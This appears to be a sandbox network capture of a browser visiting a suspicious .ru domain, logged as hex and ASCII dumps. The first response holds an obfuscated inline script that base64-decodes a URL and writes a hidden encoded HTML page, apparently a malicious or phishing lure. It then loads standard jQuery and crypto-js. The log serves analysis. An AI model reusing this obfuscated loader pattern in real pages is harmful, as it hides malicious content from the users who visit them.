2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 35 36 65 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 69 67 45 4f 59 4f 58 45 78 42 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6a 4d 6e 56 68 61 43 35 35 59 58 70 32 59 6e 46 72 62 43 35 79 64 53 39 52 55 45 6c 74 64 6a 56 6d 5a 69 38 3d 22 29 3b 0a 4f 49 58 78 53 6c 6e 58 51 71 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 51 5a 48 77 4d 67 64 4f 6b 78 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 69 67 45 4f 59 4f 58 45 78 42 20 3d 3d 20 4f 49 58 78 53 6c 6e 58 51 71 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 51 5a 48 77 4d 67 64 4f 6b 78 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 56e9<script>igEOYOXExB = atob("aHR0cHM6Ly9jMnVhaC55YXp2YnFrbC5ydS9RUEltdjVmZi8=");OIXxSlnXQq = atob("bm9tYXRjaA==");QZHwMgdOkx = atob("d3JpdGU=");if(igEOYOXExB == OIXxSlnXQq){document[QZHwMgdOkx](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk4
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 Data Ascii: k44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk44Wk776g776g776g776g44Wk776g44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g44Wk776g776g44
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 776g776g44Wk776g44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g776g776g44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44W
2025-03-26 22:34:22 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 76g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:23 UTC	664	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:23 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 26 Mar 2025 22:34:23 GMT Age: 1697445 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740072-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 11 X-Timer: S1743028463.331976,VS0,VE0 Vary: Accept-Encoding
2025-03-26 22:34:23 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-26 22:34:23 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-26 22:34:23 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-26 22:34:23 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-26 22:34:23 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-26 22:34:23 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:23 UTC	692	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 22:34:23 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 926a1d782e3f1a28-EWR Server: cloudflare Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 Etag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT Cf-Cdnjs-Via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Age: 18459 Expires: Mon, 16 Mar 2026 22:34:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0CJrDfvQGpcTKHPqon2GwioDXspDgXBdstqS62XkUtqKQNyK4Qd9%2FxqerADV5yrSZKUuJOa%2FWWIakoa0%2Bi7UQ%2Bxy5Ie3CpEF2xCHXCZTTuCuWtaIbZmX2aRMrTl8msa6fncOzltR"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 alt-svc: h3=":443"; ma=86400
2025-03-26 22:34:23 UTC	410	IN	Data Raw: 35 62 66 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 5bf0!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-26 22:34:23 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
